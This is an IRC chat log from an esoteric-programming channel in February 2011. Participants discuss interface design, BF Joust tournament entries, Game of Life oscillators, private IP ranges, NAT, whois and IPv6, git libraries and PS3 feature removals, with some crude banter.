22:40:16 <elliott_> sorry.
22:40:17 <elliott_> it's just
22:40:19 <elliott_> the last person i argued with about that
22:40:21 <elliott_> talked exactly like that
22:40:32 <elliott_> didn't realise you were joking to PH
22:40:45 <elliott_> now to try and bury that memory some more
22:40:51 <Zwaarddijk> (actually, I prefer text-based interfaces, and their weakness in windows is a thing that really bugs me whenever i have to use that OS)
22:41:12 <Zwaarddijk> (i also prefer keyboard shortcuts to pointing-and-clicking)
22:41:44 <elliott_> I think both current textual interfaces (ok, "current", they haven't seen much advancement in the past decades) and current graphical interfaces are woefully badly-equipped to handle advanced use-cases, and they are also suboptimal for simple use-cases.
22:42:15 <Mathnerd314> ok... you have something better?
22:42:33 <elliott_> Mathnerd314: I assume you react in the same way to movie critics? But yes, I do have ideas.
22:42:36 <elliott_> A graphical layout of information is a perfectly reasonable and sane thing to have, and GUIs have advantages like having discovery and documentation of features baked in to the interface, whereas finding out how to do something is a separate step in usual textual interfaces.
22:42:59 <elliott_> At the same time linguistic communication is superior to icon-clicking. Icons are pretty much the worst.
22:43:25 <elliott_> And of course a sufficiently advanced linguistic/shell interface blurs the distinction between using and programming, which is a good thing.
23:02:03 <Phantom_Hoover> elliott_, the movie critics thing is a bit shaky as a refutal.
23:02:09 <Phantom_Hoover> *rebuttal
23:02:26 <Phantom_Hoover> I mean, movie critics *should* be able to point out how it should be done better.
23:03:01 <elliott_> Phantom_Hoover: Yes, but they don't have to make a better movie themselves.
23:03:45 <Phantom_Hoover> elliott_, well, I don't think Mathnerd314 was asking if you'd implemented something better, just if you actually could say what would be better.
23:04:02 <elliott_> Well, I did give some pointers in the next few lines.
23:04:51 <Phantom_Hoover> Yeah, I can see that.
23:05:18 <Phantom_Hoover> I'm just saying that unless you actually have an idea of what would be better, complaining is pointless.
23:05:31 <Phantom_Hoover> This does indeed apply to film critics.
23:08:22 <elliott_> Phantom_Hoover: If someone only ever saw Plan 9 From Outer Space and had never seen any better films or made a film -- say it was the first film ever made --
23:08:29 <elliott_> If they said it sucked, and could not expand on that, are you saying they'd be in the wrong?
23:09:04 <Mathnerd314> yeah... you can't just say "this sucks" without explaining why
23:09:57 <Zwaarddijk> hey lemme make a
23:09:57 <Mathnerd314> otherwise you would just hate everything
23:10:01 <Zwaarddijk> really great fallacy!
23:10:15 <Phantom_Hoover> elliott_, yes, because even then there would be basic problems with it which would be noticeable even if you had no experience of films.
23:10:35 <Zwaarddijk> if someone had asked the grandchildren of mr. Fritzl whether their lives were good
23:10:41 <Zwaarddijk> and they had answered 'no, this sucks'
23:10:54 <Zwaarddijk> would you consider that answer invalid because they wouldn't be able to describe a normal life?
23:11:17 <Phantom_Hoover> Zwaarddijk, that's a strawman and you know it.
23:11:32 <Zwaarddijk> it's not, it's more of an extreme case.
23:12:06 <Zwaarddijk> (I was more going for something like a new approach to godwin-likeness without invoking hitler)
23:12:52 -!- MigoMipo has quit (Read error: Connection reset by peer).
23:16:56 <elliott_> fritzl is such a funny name but now it's wasted
23:16:59 <Mathnerd314> Zwaarddijk: they could easily complain that they never went outside
23:17:01 <elliott_> it would be a good name for a comedian
23:17:17 * Phantom_Hoover → sleep
23:17:26 -!- Phantom_Hoover has quit (Quit: Leaving).
23:26:28 <elliott_> pikhq: Hey, I know you've toyed around with turboencabulators; are you a VXer too by any chance?
23:27:30 <myndzi> gregor, mind if i just rip your conversions and resubmit? :P
23:27:41 <myndzi> i assume lance is in now
23:27:46 <elliott_> It's not.
23:27:49 <myndzi> o
23:27:51 <myndzi> then what happen
23:28:07 <Gregor> myndzi: gearlance is in, and elliott_ is crying waaaaaaaaaaah
23:28:17 <elliott_> Gregor: OH NOES I MADE A FACTUAL STATEMENT?
23:28:19 <myndzi> what is gearlance
23:28:25 <elliott_> gearlance is fizzie's buggy interpreter.
23:28:29 <myndzi> lol.
23:28:37 <myndzi> anyway, i assume somebody was like OH NOES WE CANT HAVE THOSE BRACKET THINGS ANYMORE
23:28:38 <elliott_> At least it was buggy a few days ago.
23:28:43 <myndzi> and so my programs failed and you replaced them
23:28:48 <elliott_> myndzi: Yes, because they cannot be interpreted efficiently.
23:28:49 <myndzi> but i would like to resubmit them myself if htat's ok ;)
23:28:55 <elliott_> We didn't replace them afaik.
23:29:00 <elliott_> They're just off the board.
23:29:02 <myndzi> elliott_: shush, you don't have to fucking try and argue it every time i bring it up, i'm not arguing with you
23:29:12 <myndzi> gregor resubmitted them
23:29:25 <myndzi> i just wanted to ask his permission to steal his code but put it under my name so i don't have to think about it ;)
23:29:28 <myndzi> lol
23:29:31 <elliott_> Uhh, I'm not arguing either, wtf are you on about
23:29:39 <Gregor> myndzi: Yeahyeahyeah, go ahead
23:29:40 <myndzi> since i assume all he did was make them runnable
23:29:44 <myndzi> ok, thanks <3
23:29:48 <Gregor> myndzi: But copy them first, then I'll kill them, then resubmit.
23:29:55 <myndzi> ok, one sec
23:30:15 <myndzi> elliott_: every time i so much as mention it, you go out of your way to hammer in the CAN'T INTERPRET BLAH BLAH BLAH
23:30:40 <elliott_> myndzi: Uhh, you've mentioned it about three times and each time you're dramatic about it, so I've just responded with one factual line each time.
23:30:46 <elliott_> You're the one who used caps, not me.
23:30:58 <myndzi> Gregor: got em
23:31:03 <Gregor> !bfjoust return_of_myndzi_careless <3
23:31:06 <Gregor> !bfjoust return_of_myndzi_careful <3
23:31:23 <myndzi> yeah, i used caps as a way of making it evident that i was being facetious
23:31:32 <myndzi> !bfjoust careful >+++++++++++++++++++++++++>+++++++++++++++++++++++++>+++++++++++++++++++++++++>------------------------->------------------------->------------------------->>((>[-[++[(-.)*2((-)*28(.-)*4)*4{}]]])%21)*21
23:31:42 <myndzi> !bfjoust careless >+++++>+++++>----->----->+>->>>((>[(-)*126(-.)*3{}])%22)*22
23:32:26 <fizzie> Buggy smuggy gluggy mr "it's ready except a small parser *bug*" man there grumble mumble.
23:33:09 <fizzie> (Okay, so if you insist on being *factual*, it was buggy; might still be for all I know.)
23:33:15 <fizzie> (But facts are for furries.)
23:33:23 <myndzi> btw this actually seems pretty slow lol
23:33:26 <EgoBot> Score for Gregor_return_of_myndzi_careless: 0.0
23:33:26 <EgoBot> Score for Gregor_return_of_myndzi_careful: 0.0
23:33:26 <EgoBot> Score for myndzi_careful: 38.3
23:33:26 <EgoBot> Score for myndzi_careless: 33.9
23:33:36 <myndzi> those numbers are so low now :(
23:33:37 <myndzi> haha
23:34:04 <myndzi> amusingly, slowrush does better than them both
23:34:06 <myndzi> it just hangs around
23:40:18 <fizzie> Re interpreter speeds, I tried to benchmark gear vs. egojoust on current hill, but seems that egojoust got stuck in an infinite loop on hill/ais523_decoybooster2.bfjoust vs. hill/Gregor_furry_furry_strapon_pegging_girls.bfjoust -- it's been running for three minutes now.
23:42:52 <fizzie> (Also for defend10 vs defend9_25.)
23:44:37 <fizzie> http://p.zem.fi/ywfk -- the most unscientific test ever, but anyways.
23:55:32 <pikhq> "Write the given matrix as a product of elementary matrices".
23:55:36 <pikhq> This should not be hard.
23:55:46 <pikhq> However, it *is*.
23:57:46 <elliott_> pikhq: you never answered my QUESTION!
23:57:54 <pikhq> Oh, wait, I was being stupid.
2011-02-26
00:08:39 <Sgeo> Is it safe to say that if I wrote an esolang interpreter in Clojure, you'd all shoot me?
00:08:58 <Gregor> fizzie: I updated the inner clear of FFSPG to use (({{}})), which it was always supposed to use.
00:10:21 <Ilari> Hmm... How many different non-singular nxn matrices over GF(2) there are? For n = 2, there are 6.
00:16:46 <pikhq> Time for still more linear algebra.
00:21:05 -!- cheater- has joined.
00:23:54 -!- cheater00 has quit (Ping timeout: 240 seconds).
00:23:56 <Ilari> BTW: The program found 134 cubes. And looks like it ran out of range, so there are probably more.
00:24:42 -!- pikhq has quit (Ping timeout: 246 seconds).
00:24:48 -!- pikhq_ has joined.
00:24:56 <Ilari> The biggest is about 6.8*10^26 in magnitude.
00:28:26 <Ilari> Checked: 1G cubes, found 134, largest 677667955666576979957565952
00:32:53 <elliott_> Man, there are still periods without known oscillators in the Game of Life.
00:33:01 <elliott_> 19, 23, 34, 38, 41, 43, 53.
00:33:42 <Ilari> They discovered some new periods?
00:34:04 <elliott_> Ilari: Hm?
00:34:14 <elliott_> They did, yes.
00:34:20 <elliott_> 31 and 37 were discovered by random search.
00:34:30 <elliott_> http://pentadecathlon.com/lifeNews/2011/01/is_life_omniperiodic.html
00:35:12 <elliott_> "A particularly small universal Turing machine (henceforth abbreviated to UTM) is the 7-state 4-symbol machine by Minsky. There even exists a UTM with only two states and three symbols, discovered by Stephen Wolfram."
00:35:16 <elliott_> "discovered by" *sigh*
00:36:47 <elliott_> "The printer design is very simple and easily adapted to other uses, such as a hexadecimal printer with alphanumeric characters A-F added, similar to the extended printer in the fine-structure-constant-generating pattern that appeared at the beginning of April."
00:36:53 <elliott_> But is it the fine structure constant of Life? :-)
00:38:23 <Ilari> Heh. Tangent-0 17c/45 spaceship gun... That would be caterpillar gun?
00:39:17 <elliott_> indeed
00:43:20 -!- comex_ has quit (Quit: ZNC - http://znc.sourceforge.net).
00:46:46 -!- comex has joined.
00:47:47 -!- zzo38 has joined.
00:48:50 <Ilari> Would be quite impressive and high-period. At about 331k cells long, it would take about 875k cycles just to clear the gun barrel.
00:49:35 <Ilari> Hmm... Universal constructor. Could probably build a caterpillar.
00:50:53 <zzo38> When attempting to view some forum, I got the message "Sorry, 172.29.30.76 has been banned." (with the 403 status code) instead of the forum view. I can find at least 2 things wrong with that. Can you?
00:51:01 -!- comex has quit (Client Quit).
00:51:08 <elliott_> Ilari: Well, there's a universal constructor, and also a knightship self-replicator...
00:51:09 -!- comex has joined.
00:51:09 <myndzi> local ip address?
00:51:53 <myndzi> 403 seems like maybe not the best choice too, but whatever
00:52:20 <zzo38> For one thing, that isn't even my IP address.
00:52:22 <myndzi> well, 403 is forbidden
00:52:27 <myndzi> so i guess it makes sense
00:52:32 <myndzi> but most things would return a legit html page or something
00:52:38 <myndzi> of course it's not your ip address, it couldn't be
00:52:38 <Ilari> Heh. Reminds me when I got one site to block itself (broke some things).
00:52:53 <myndzi> well, unless the server was on a local network with you
00:53:22 <myndzi> 172.16-31.*.* is reserved
00:53:27 <Ilari> RFC1918.
00:53:28 <myndzi> for local use, like 10.*
00:53:34 <myndzi> and 192.168.*
00:53:54 <zzo38> Also, in case of being banned, you should still be able to view it (it should only prohibit sending messages). (You can view without being logged in!)
00:54:17 <zzo38> My local network is 192.168.* anyways.
00:54:24 <fizzie> Could be a reverse-proxy/load-balancer sort of thing, but banning the IP of a reverse-proxy frontend sounds like a rather bad move.
00:55:09 <zzo38> Sometimes reloading the page causes it to load correctly, and then a bit later it will say banned again.
00:55:18 <Ilari> (My LAN is 10.0/8 and some /64 in IPv6 ULA range (oh, and FE80::/16 also sees some use).
00:56:26 <myndzi> fizzie: seems like maybe an admin didn't know what they were doing
00:56:30 <myndzi> zzo38: fits with load balancing
00:56:46 <myndzi> i've used 172.something before just to be RaNdOm
00:57:20 <fizzie> I use 10.<random byte>.<quasi-significant number>.0/24 as the different local-network subnets here.
00:57:32 <fizzie> (With the same <random byte> for all subnets, of course.)
00:58:41 <zzo38> Yes, it does seem they banned some of the load balancing and that caused something mixed up.
00:59:37 -!- pikhq_ has quit (Ping timeout: 250 seconds).
00:59:49 -!- pikhq has joined.
01:01:06 <zzo38> Is there some order for local network addresses in case of one local network inside of another?
01:02:56 <myndzi> it doesn't really matter how many you have inside each other
01:03:08 <myndzi> assuming you are talking about NAT here
01:06:18 <zzo38> Yes
01:07:23 <myndzi> the ips are translated, that's the T in NAT
01:07:27 <myndzi> :P
01:07:35 <myndzi> so when you 'nest' them, it doesn't really matter WHAT they are
01:07:51 <myndzi> though it's conceivable that maybe poor implementation could get confused if internal and external used the same subnet
01:07:55 <zzo38> OK, but is there a standard for the order of nesting?
01:08:24 <fizzie> I wouldn't go and do multi-level NAT without any particular reason, though. (Having the outer NAT controlled by someone else is a valid reason, of course.)
01:09:47 <zzo38> Yes, there is generally not a good reason to do multi-level, but in some cases you do, and in these cases it might sometimes be useful to have a standard nesting order.
01:10:20 <zzo38> Are most routers you buy using 192.168.* group?
01:10:49 <fizzie> Yes, I would guess so; and 192.168.0.0/24 and 192.168.1.0/24 are probably the most popular single /24s inside that.
01:11:04 <myndzi> what do you mean about the 'order of nesting'
01:11:08 <myndzi> there's no reason for it
01:11:22 <myndzi> it doesn't affect anything, or at least it shouldn't
01:11:38 <zzo38> Mostly in order to prevent confusion, is the reason for having an order of nesting. Not much else.
01:11:45 <myndzi> the only time i've had a problem with local ips is when my stepmom's work used a common router subnet for their VPN
01:11:47 <myndzi> which was dumb of them
01:12:04 <myndzi> they could have chosen something else and not had to put up with a big chunk of tech support calls from people VPNing from home
01:12:23 <fizzie> Actually (even though it's not at all a standard) my gut feeling is that 192.168.0.0/16 is what "normal people"/"consumers" use; 10.0.0.0/8 is used by "enterprise-level solutions"; and 172.16.0.0/12 is used by people who just want to be different (and/or is not used at all).
01:13:10 <fizzie> At least I've seen 10.x quite often in corporate contexts, and all home-router defaults seem to come from the 192.168. area.
01:13:20 <zzo38> Then they should assign one group for VPN in order to prevent such problems with VPN.
01:13:49 <fizzie> That's still problematical if you want to be connected to more than one VPN at the same time.
01:14:02 <myndzi> my first dsl modem used 10
01:14:41 <Ilari> Here the modem uses 10.x address internally.
01:15:01 <fizzie> Back at dialup times I think at least one ISP used 10.x addresses for their nameservers and such.
01:15:11 -!- TLUL has joined.
01:15:15 <fizzie> The recursive-query ones used by their clients, that is.
01:15:41 <fizzie> And perhaps even as the PPP link remote-endpoint, I don't think PPP endpoints need to be in the same network at all.
01:15:42 <Ilari> (and that is indeed the reason I use 10.x for this LAN).
01:16:26 <fizzie> SLIRP by default uses some magical 10.x addresses too.
01:16:42 <zzo38> Ilari: It looks like you are connected using IPv6 address though.
01:16:53 <Ilari> This is all LAN-internal stuff.
01:17:23 <zzo38> But does your connection to the internet is IPv6, while the LAN is IPv4?
01:17:29 <Ilari> There is absolutely no valid reason to be able to reach that modem internal address from outside this LAN.
01:17:52 <fizzie> Ooh, jwhois is so clever:
01:17:53 <fizzie> $ whois 2002:5870:3714::1
01:17:53 <fizzie> Querying for the IPv4 endpoint 88.112.55.20 of a 6to4 IPv6 address.
01:17:54 <zzo38> Yes, you would be correct.
01:18:19 -!- copumpkin has quit (Ping timeout: 240 seconds).
01:18:36 <Ilari> LAN can carry both IPv4 and IPv6 traffic.
01:19:04 <zzo38> fizzie: I do not have whois, but I could connect to one if I know the host name (or IP address) and port number of a whois server, and then see what it does.
01:19:09 <fizzie> Ilari: Haven't considered going to a v6-only LAN setup? It'd be like you were living ten years in the future. :p
01:19:41 <zzo38> What are IPv6 LAN addresses? Are they just the translation from the IPv4 LAN addresses into IPv6? Are there others?
01:20:06 <fizzie> They are very different.
01:20:56 <zzo38> What is the host name and port number for the whois servers? How do I figure out what they are?
01:21:08 <fizzie> The "unique local address" (ULA) addresses perhaps correspond closest to current private-network addresses.
01:21:17 <fizzie> And/or the deprecated site-local scope addresses.
01:22:00 <Ilari_antrcomp> Some IPv6 traffic in this LAN actually involves 2000::/3 block adresses.
01:24:15 <fizzie> zzo38: There isn't really a good way to determine the whois server responsible for a particular address/domain; though there are a few attempts. (tld.whois-servers.net tries to be a CNAME of the whois server for .tld domains, and there are some forwarding records from whois servers you can follow. In particular, I think whois.iana.org redirects into the reponsible RIR?)
01:24:39 <fizzie> And there's a standardish port, 43.
01:26:02 <zzo38> I cannot connect to tld.whois-servers.net, it cannot resolve the domain name.
01:26:15 <fizzie> I mean com.whois-servers.net and so on.
01:26:22 <zzo38> But at least now I know what port number is whois.
01:26:28 <zzo38> fizzie: OK.
01:26:34 <fizzie> Yes, if you ask whois.iana.org about my IP, it answers back with (among other fluff) "refer: whois.ripe.net".
01:26:39 <fizzie> So you can keep following those.
01:27:32 <Ilari> I think I figured out what causes the escalating ping delay: IPsec
01:29:23 <zzo38> It looks like the whois replies also include advertisements from people registering domain names that start with the one you are trying to search for.
01:30:29 <fizzie> Heh, for domains maybe.
01:30:37 <fizzie> The ones for IP addresses just contain poetry.
01:31:01 <zzo38> OK
01:31:19 <fizzie> In case of SixXS tunnels, you can keep following the records like this: http://p.zem.fi/v55u -- though for whois.sixxs.net the forwarding isn't automatic, it's just mentioned in the remarks: section.
01:31:51 <Ilari_antrcomp> Okay, removed IPv4 addresses from interfaces (on this computer, the other one needs those). Let's see what breaks.
01:32:50 <fizzie> Ilari_antrcomp: Do you have some sort of a NAT64/DNS64 system there, or some other transition mechanism? If not, I would assume all IPv4-only sites would break. :p
01:32:52 <Ilari> (oh, and of course 127.0.0.1 is still there.
01:33:06 <elliott_> REMOVE 127.0.0.1!!!!!!
01:33:14 <Ilari> It won't remove. :-/
01:33:25 <elliott_> fizzie: IPv4-only sites -- heh, like, all sites
01:33:37 <fizzie> elliott_: Well, there's a v6 facebook, what else do you need?
01:34:16 <zzo38> I would guess that you can connect to whois using a (good quality) gopher client, with no problem. You could connect to finger and daytime as well.
01:34:22 <fizzie> I wonder if you can nowadays build a Linux kernel with IPv6 but not IPv4 support. ISTR it wasn't possible at some point, since the v6 code depended too much on the v4 code and not on some common, shared set.
01:34:29 <elliott_> I think you can.
01:34:39 <elliott_> At least I don't recall the IPv4 checkbox being force-ticked when IPv6 was.
01:36:21 <fizzie> IPV6 .. Depends on: NET [=y] && INET [=y] :/
01:36:34 <elliott_> Aww.
01:37:37 <fizzie> At least you can do IPv6 netfilter without IPv4 support, they have a common higher-level "core" part.
01:39:23 <fizzie> I'm honestly a bit surprised no-one has yet managed to sneak in a netfilter module to do some sort of ad-hoc IPv6 NAT.
01:40:08 <Ilari> Oh, found one place that assumed IPv4 connectivity to another computer. Fixed & tested.
01:40:29 <Ilari> Or even that NAT66 (prefix translation)
01:40:30 <elliott_> Ilari: Enjoying your 4 am computer-breaking?
01:40:37 <Ilari> Yup.
01:40:52 <elliott_> Good, good.
01:44:32 <fizzie> In fact I don't think the mangle table in v6-netfilter can really do much anything. Okay, you can MARK/CONNMARK/etc connections there (and then apply different routing tables based on those), and twiddle the DSCP/hop limit/TCP MSS/TOS values, but that's about it.
01:44:38 <Ilari> Heh. Tcpdump (to see what's on that LAN spoke) warns about lack of IPv4 address.
01:44:51 * Sgeo tries Leksah
01:45:47 <fizzie> tcpdump is fond of that warning, I think you get the same if you tcpdump a slaved-to-bridge iface that doesn't have/need any v4 addresses.
01:47:29 <elliott_> WARNING: You are probably a time traveller!
01:48:40 <elliott_> [PH-logreading:] (Block log); 01:55 . . Conficker (Talk | contribs) blocked Gooniepunk2010 (Talk | contribs) with an expiry time of 3 seconds (about right) (account creation disabled) (Member of a website supporting internet terrorism)
01:48:48 <elliott_> Are three-second blocks the... norm on RationalWiki?
01:49:06 <elliott_> Oh, looks like a beuaroeuaroeouar- bear crat.
01:51:45 <Ilari> Fun: One can add the same IP address to two different interfaces.
01:53:25 <elliott_> Ilari: You use a tunnel right?
01:53:29 <elliott_> So your ISP is v4-only?
01:53:34 <elliott_> YOU'RE COMMUNICATING WITH A V4 HOST
01:53:34 <Ilari> Yeah.
01:53:36 <elliott_> THIS IS UNACCEPTABLE
01:53:40 <elliott_> RECONFIGURE YOUR MODEM
01:53:41 <elliott_> AND ROUTER
01:53:46 <elliott_> Make them refuse to connect to your ISP.
01:53:48 <elliott_> :-D
01:53:51 <elliott_> Purity at last!
01:55:04 <Ilari> There's no seperate router.
01:55:34 <zzo38> Maybe they just wanted to add it to the ban log instead of making them banned.
01:55:42 <Gregor> "Holistically Balanced™ guarantees that the constituents of the extract are in the same synergistic ratios as in the plant."
01:55:42 <Gregor> lawl
01:55:45 <elliott_> Ilari: Reconfigure the moderouter, then.
01:55:47 <elliott_> moderouterm.
01:56:38 <Ilari> Gregor: Including all the toxins? :-)
01:57:09 <zzo38> Can I make wiki for TeXnicard?
01:59:06 <Ilari> It looks like the thing is a hub to LAN side, not a router.
02:00:47 <elliott_> zzo38: NO.
02:00:49 <elliott_> YOU ARE FORBIDDEN.
02:01:15 <elliott_> Gregor: Aren't you still crying on the floor?
02:01:20 <Sgeo> zzo38, note that you are probably not actually forbidden
02:03:00 <zzo38> I am not asking whether or not I am forbidden. I am asking if I can.
02:06:00 <Sgeo> How should we know?
02:09:46 <Gregor> Clove must be the most powerful friggin' extract I have ever dealt with.
02:13:28 <zzo38> What is the git protocol, so that it can make wiki that keeps the list of changes in the git repository?
02:13:49 <elliott_> zzo38: Just call out to the git command-line tool. That's what everyone does.
02:14:00 <elliott_> Or use a git library in your language of choice, though if that language is PHP you're out of luck.
02:14:05 <elliott_> Oh, it exists.
02:14:06 <elliott_> glip.
02:14:17 <elliott_> http://fimml.at/#glip
02:14:27 <zzo38> I suppose it does not have to be PHP, of course. It could also be CGI.
02:15:53 <zzo38> It could also be a C program with Cygwin.
02:16:20 <elliott_> Cygwin is slow enough that just shelling out to git would make no noticeable speed difference.
02:18:14 <zzo38> But, does Cygwin include git library for using in C programs?
02:18:38 <elliott_> Cygwin doesn't include anything.
02:18:44 <elliott_> It is just a compatibility layer.
02:18:51 <elliott_> I think git comes with a library these days.
02:19:07 <zzo38> I have Cygwin installed and it happens to include git, too.
02:19:33 <zzo38> What is the C library, can I check if it has it?
02:22:26 <zzo38> Or, maybe I can look at glip codes to figure out how to make it in PHP4.
02:23:35 <zzo38> Also, it needs to work over secure shell protocol since that is what repo.or.cz uses.
02:23:50 -!- copumpkin has joined.
02:24:08 -!- Behold has quit (Ping timeout: 276 seconds).
02:28:41 <pikhq> It was probably a bad idea to end up having all of my linear algebra homework pending the day before it's due.
02:28:48 <pikhq> Thank God I'm quick.
02:41:58 -!- FireFly has quit (Quit: swatted to death).
02:46:12 -!- TLUL has quit (Read error: Connection reset by peer).
02:46:41 -!- TLUL has joined.
02:54:20 <elliott_> 14:43:11 <lament> 999999 = 1M999
02:54:22 <elliott_> beautiful
03:00:53 <pikhq> Dear textbook: computing an O(n!) algorithm more than once is stupid and retarded and stupid.
03:01:18 <pikhq> Dear textbook: computing an O(n!) algorithm when there exists an O(n^3) algorithm is fundamentally pointless.
03:01:47 <pikhq> (yes, the O(n^3) algorithm in question is also in the textbook)
03:12:21 <fizzie> Sounds vaguely like matrix inversion there. (Was the determinant-based solution O(n!)?)
03:12:47 <pikhq> Computing a determinant via cofactor expansion is O(n!).
03:13:03 <pikhq> Computing it via row reduction is O(n^3).
03:32:58 <elliott_> 18:32:17 <GregorR> Just for giggles, I wrote a program to use (attempt to) use genetic algorithms to generate a P'' program that will produce the text "Hello, world!"
03:32:59 <elliott_> 18:32:27 <GregorR> The closest it got after 1000 iterations was "HMMMMMMMMMMM!"
03:32:59 <elliott_> 18:32:48 <GregorR> (PS I don't have a fegging clue how to do this)
03:32:59 <elliott_> Hmmmmmmm.
03:33:47 <zzo38> I think Sony has been sued due to them removing OtherOS feature and ability to run PlayStation 2 games. I probably will not buy it, but I definitely will not buy it if they do not put both of these features back on.
03:35:52 <pikhq> zzo38: Just the OtherOS feature.
03:36:11 <quintopia> yes. they are being sued for that. under the same code they were suing under.
03:36:21 <elliott_> 00:47:04 <GregorR> Also, it gets caught in local optima way to easily :(
03:36:22 <elliott_> 00:47:23 <GregorR> Its equation for the hypotenuse of a triangle: x+.5*y X_X
03:36:24 <pikhq> zzo38: They only stopped having the PS2 compatibility on new systems; if you bought a PS2-compatible system, it is still PS2-compatible.
03:36:25 <elliott_> that is my favourite
03:36:31 <elliott_> it's close enough if you ask me
03:36:49 <elliott_> 01:48:23 --- quit: sanxiyn ("전 이만 갑니다.")
03:36:49 <elliott_> hm what are those characters...
03:36:50 <quintopia> 3+0.5*4=5
03:36:55 <pikhq> elliott_: Hangul.
03:36:57 <elliott_> quintopia: like i said. close enough.
03:37:01 <quintopia> 4+0.5*3=5.5
03:37:04 <quintopia> very clsoe
03:37:13 <elliott_> Very clsoe indeed.
03:37:17 <elliott_> As clsoe as close is to clsoe.
03:37:20 <pikhq> Can't tell you more than that, because I don't speak Korean.
03:37:25 <elliott_> pikhq: right
03:37:38 <quintopia> clsoer than i am to my ex-gf
03:38:28 <pikhq> Though, being of at least average intelligence, I could probably learn Hangul in a few hours if I cared to.
03:38:32 <Ilari> 135th cube...
03:38:34 <elliott_> quintopia: MEGAN~
03:38:52 <zzo38> pikhq: Well, they do both hardware and software remove features. This should not be acceptable. Other things they removed in the hardware is some USB ports, which means you need a USB hub.
03:39:05 <elliott_> Removing USB ports is UNACCEPTABLE
03:39:16 <elliott_> If your product has 3 USB points at any point in time, it can never decrease to only having 2 USB ports.
03:39:17 <pikhq> zzo38: I consider removing features from later hardware revisions annoying, but acceptable.
03:39:18 <elliott_> That should be illegal.
03:39:24 <elliott_> ILLEGAL
03:39:47 <zzo38> Not because it had 3 USB and now as 2. It used to have 4.
03:39:52 <pikhq> Removing stuff via firmware updates? Pretty bullshit.
03:39:59 <elliott_> zzo38: OH NOOOOOOOOO
03:40:09 <quintopia> elliott_: are you referencing the recurring character from xkcd?
03:40:18 <zzo38> So now you cannot play a 4 player game with wired USB controllers unless you have a USB hub.
03:40:21 <pikhq> Removing a feature that's listed on the fucking box via firmware updates? Complete and utter bullshit, and I want there to be a hell for those responsible to fry in.
03:40:23 <elliott_> quintopia: *ex-gf of Randall
03:40:35 <pikhq> zzo38: And the stock controllers aren't wired. :)
03:40:35 <quintopia> has that been confirmed?
03:40:41 <elliott_> quintopia: There is no possible way Megan is fictional.
03:40:49 <pikhq> quintopia: You could ask him.
03:40:52 <elliott_> Unless Randall had a relationship with a fictional character.
03:40:59 <elliott_> Which I suppose is... possible...
03:41:01 <quintopia> pikhq: he's pretty private about that sort of thing
03:41:01 <pikhq> #xkcd on irc.foonetic.jet
03:41:06 <elliott_> foonetic dot JET
03:41:10 <pikhq> net
03:41:12 <quintopia> elliott_: i doubt that was her name even if she's based in fact
03:41:12 <elliott_> No.
03:41:15 <elliott_> It's served from a jet plane.
03:41:22 <zzo38> Removing features using firmware update is even more unacceptable.
03:41:27 <elliott_> quintopia: Names are irrelevant.
03:41:42 <quintopia> mm
03:41:45 <zzo38> I think removing PS2 support is also stupid and unacceptable, although that seems to also be a hardware issue?
03:41:59 <pikhq> zzo38: How do you feel about PCs no longer shipping with BASIC in the BIOS?
03:42:10 <elliott_> 15:02:35 <Figs> ok, I already knew what monads are then, just not the word
03:42:10 <elliott_> 15:03:06 <Figs> why "monad" though?
03:42:11 <elliott_> 15:03:22 <ihope> Dunno. What else might they be called?
03:42:11 <elliott_> 15:03:34 <Figs> function objects?
03:42:11 <elliott_> The universal sign of non-comprehension.
03:42:13 <zzo38> Well, I dislike it. Now it means you need to install an operating system!
03:42:16 <quintopia> pikhq: i do know what he got on the mental disease survey though :P
03:42:25 <pikhq> Oh, and yeah, they removed PS2 support because the hardware for that was pretty expensive, and they wanted to cut costs.
03:42:28 <elliott_> pikhq: You are attempting to use logic on zzo38. This has been a PSA.
03:42:39 <zzo38> pikhq: Then they should put an emulator.
03:42:54 <pikhq> (launch systems had an entire PS2 in there, later ones just had the PS2's GPU, then they cut that.)
03:43:01 <pikhq> zzo38: The PS2 is a *royal* bitch to emulate.
03:43:32 <pikhq> I doubt we'll be capable of decent PS2 emulation on normal hardware for 10 years.
03:43:38 <elliott_> 18:51:52 <bsmntbombdood> HURD sounds nice
03:43:38 <elliott_> 18:55:34 <Pikhq> It does. And if somebody would care to help out the GNU system maintainer, it would even *be* nice.
03:43:39 <elliott_> 18:56:04 <Pikhq> (ams, in #natter and ##hurd. . . Ironically, in spite of being GNU maintainer, he's banned from #gnu)
03:43:39 <elliott_> 18:56:53 <bsmntbombdood> hmph
03:43:39 <elliott_> 18:57:49 <bsmntbombdood> microkernels are elegant
03:43:39 <zzo38> Then they should readd the OtherOS feature so that other people can collaborate to make the PS2 emulator and run on PS3, and then ship the PS3 with that program preinstalled as an operating system.
03:43:41 <elliott_> 19:00:02 <lament> Pikhq: must be a complete asshole?
03:43:43 <elliott_> 19:03:52 <Pikhq> Nope. The channel owner kicked out a lot of the ops.
03:43:50 <elliott_> pikhq: HATING HIM TO RECTIFY YOUR PREVIOUS MISJUDGEMENTS, I SEE
03:43:56 <elliott_> 19:11:18 <sekhmet> zomg, ams isn't in #gnu anymore?
03:43:56 <elliott_> 19:11:34 <sekhmet> <snarky>That channel might be tolerable now, then</snarky>
03:44:14 <pikhq> elliott_: Well, he *is* a complete ass, but that's not why he got kicked out.
03:44:42 <pikhq> elliott_: Channel founder had a power trip and booted out a bunch of ops, including ams.
03:44:52 <elliott_> pikhq: I blame you for subconsciously planting (note: lies) the idea in my head that helping ams out would be a good idea, leading to him developing a hatred for me X-P
03:44:58 <pikhq> :P
03:45:10 <elliott_> He'd have probably been nicer if I called his mother a goat and /ignored him.
03:45:43 <pikhq> I'm not sure why I thought he was anything but an ass then.
03:45:54 <elliott_> RABID GNU FANBOYISM
03:46:15 <pikhq> I mean, *RMS* thinks ams is an ass.
03:46:28 <zzo38> The PS3 is very powerful so hopefully it should be possible to emulate PS2 at a reasonable speed if enough people try. If the OtherOS feature is put back, enough people *will* try, and then Sony can make the PS2 emulator as the default operating system in OtherOS mode.
03:46:28 <elliott_> haha, really?
03:46:30 <elliott_> how did that one transpire
03:46:37 <elliott_> zzo38: No, emulating the PS2 is almost impossible.
03:46:41 <elliott_> It has like three CPUs.
03:46:49 <elliott_> Well, I think two CPUs and one very powerful GPU.
03:46:54 <elliott_> pikhq can correct me on that.
03:46:58 <elliott_> Emulating that is almost impossible.
03:46:59 <quintopia> powerful?
03:47:00 <pikhq> elliott_: More than that.
03:47:04 <quintopia> powerful for a long time ago
03:47:13 <pikhq> zzo38: They pushed the PS3 hardware nearly to the max just emulating the PS2-minus-the-GPU.
